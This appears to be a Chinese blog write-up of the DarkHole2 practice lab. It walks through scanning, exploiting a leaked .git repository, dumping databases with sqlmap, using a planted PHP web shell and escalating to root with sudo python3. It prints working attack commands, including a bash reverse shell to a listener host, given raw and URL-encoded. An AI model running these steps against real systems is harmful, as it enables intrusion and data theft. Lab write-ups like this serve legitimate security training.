.git文件泄露的一次渗透darkhole2

darkhole2通关过程

这是一个困难难度的靶场,通过不小心泄露的.git文件收集信息,再利用漏洞脱库登录,最后利用rce漏洞进行提权。也可以用通用来打。

信息收集

扫描靶机ip

nmap -sP 192.168.3.1/24

在这里插入图片描述

靶机ip为192.168.3.130

对靶机端口进行全面扫描

nmap -p 1-65535 -A 192.168.3.130

在这里插入图片描述

只扫出了80和22端口

访问192.168.3.130

在这里插入图片描述

目录收集

python dirsearch.py -u http://192.168.3.130/

在这里插入图片描述

查看扫描报告搜集出请求成功的路径

200     3KB  http://192.168.3.130/.git/
200   130B   http://192.168.3.130/.git/config
200     4KB  http://192.168.3.130/.git/hooks/
200    41B   http://192.168.3.130/.git/COMMIT_EDITMSG
200    23B   http://192.168.3.130/.git/HEAD
200     1KB  http://192.168.3.130/.git/index
200   240B   http://192.168.3.130/.git/info/exclude
200   554B   http://192.168.3.130/.git/logs/HEAD
200     1KB  http://192.168.3.130/.git/logs/
200   554B   http://192.168.3.130/.git/logs/refs/heads/master
200   948B   http://192.168.3.130/.git/info/
200     6KB  http://192.168.3.130/.git/objects/
200     1KB  http://192.168.3.130/.git/refs/
200    41B   http://192.168.3.130/.git/refs/heads/master
200     1KB  http://192.168.3.130/.idea/
200   279B   http://192.168.3.130/.idea/modules.xml
200     2KB  http://192.168.3.130/.idea/workspace.xml
200    73B   http://192.168.3.130/.git/description
200   943B   http://192.168.3.130/config/
200    11B   http://192.168.3.130/dashboard.php
200   931B   http://192.168.3.130/js/
200     1KB  http://192.168.3.130/login.php

主要存在目录

/.git
/.idea
/config
/dashboard.php
/js
/login.php

.git代码管理仓库的文件,应该是开发不小心提交上来的可能会造成git信息泄露

.idea一个java开发工具的配置文件,应该没什么用

对目录按顺序进行信息收集首先是/.git

在这里插入图片描述

利用.git文件泄露获取更多信息

python2 GitHack.py http://192.168.3.130/.git/

在这里插入图片描述

到生成的仓库中查看git的log日志

git log

在这里插入图片描述

最新版本记录i changed login.php file for more secure增加了安全性,想知道他增加了什么安全防护,对比版本差异

git diff a4d900a8d85e8938d3601f3cef113ee293028e10

在这里插入图片描述

,发现login.php删去了一段代码有默认的账号密码,开发人员有时候为了方便会写死在代码里的。

if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){

而且新增的login.php的代码对sql注入做了防护,login页面的sql注入应该是不行了

$email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
$pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
$check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
if($check->num_rows){

然后大致看了下目录下获取到的源码,在config目录下的config.php文件中获取到了一段数据库的泄露信息,知道了账号和连接的数据库密码为空

<?php
$connect = new mysqli("localhost","root","","darkhole_2");

有了这两个信息直接进入到渗透阶段,在渗透中再进行信息收集

渗透阶段

直接到登录页面,用之前删掉代码里的账号密码进行登录

lush@admin.com
321

在这里插入图片描述

登录成功

它的地址为

http://192.168.3.130/dashboard.php?id=1

因为刚打完darkhole1这个地址很熟悉,跑一下有没有sql注入

在这里插入图片描述

源码代码审计是根据session判断,cookie中必须携带sessionid即PHPSESSID

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch

在这里插入图片描述

扫到了时间盲注和UNION注入

爆库

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch --dbs

在这里插入图片描述

爆表

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 --tables

在这里插入图片描述

ssh表脱库

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 -T ssh --dump

在这里插入图片描述

users表脱库

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 -T users --dump

在这里插入图片描述

既然拿到了ssh的账号密码直接进行登录

ssh jehad@192.168.3.130

在这里插入图片描述

查看当前用户可运行的命令或文件,结果没权限,还要切换其他具有sudo权限的用户进行提权

sudo -l

在这里插入图片描述

提权阶段

查看可以提权的用户

cat /etc/passwd | grep /bin/bash

在这里插入图片描述

到他的home目录下看看

在.bash_history文件看见了很多疑似远程命令执行的语句

history命令也看见了同样的命令

在这里插入图片描述

浅试一下复制一条上面的命令

curl "http://127.0.0.1:9999/?cmd=id"

在这里插入图片描述

果然可以,这个jehad是个hack已经黑掉写入了木马,利用它的就好了

查看定时任务

cat /etc/crontab

在这里插入图片描述

可以看到这个定时任务是每分钟到/opt/web目录下开端口9999的web服务

去/opt/web目录看看,其中有个index.php,证实了是rce

<?php
echo "Parameter GET['cmd']";
if(isset($_GET['cmd'])){
echo system($_GET['cmd']);
}
?>

因为localhost访问不到属于局域网,对9999端口转发到本地

ssh -L 9999:127.0.0.1:9999 jehad@192.168.3.130

在这里插入图片描述

可以成功访问了
在这里插入图片描述

建立反弹连接,因为这个用户是losy当用这个rce反弹shell,获得的对象就是losy

需要开启kali监听

nc -lvvp 7777

反弹shell(需要url编码)

bash -c 'bash -i >& /dev/tcp/192.168.3.128/7777 0>&1'
bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.128%2F7777%200%3E%261'

访问

http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.128%2F7777%200%3E%261%27

成功拿到losy的权限

在这里插入图片描述

看看losy的history都做了什么,在history中发现泄露密码等重要信息,以及存在python环境,和一段提权的执行代码

history

在这里插入图片描述

losy是有sudo权限的

在这里插入图片描述

查看losy可以运行的文件或命令,需要密码刚刚获取到了gang

sudo -l

在这里插入图片描述

python3有root权限直接sudo python命令提权

sudo python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值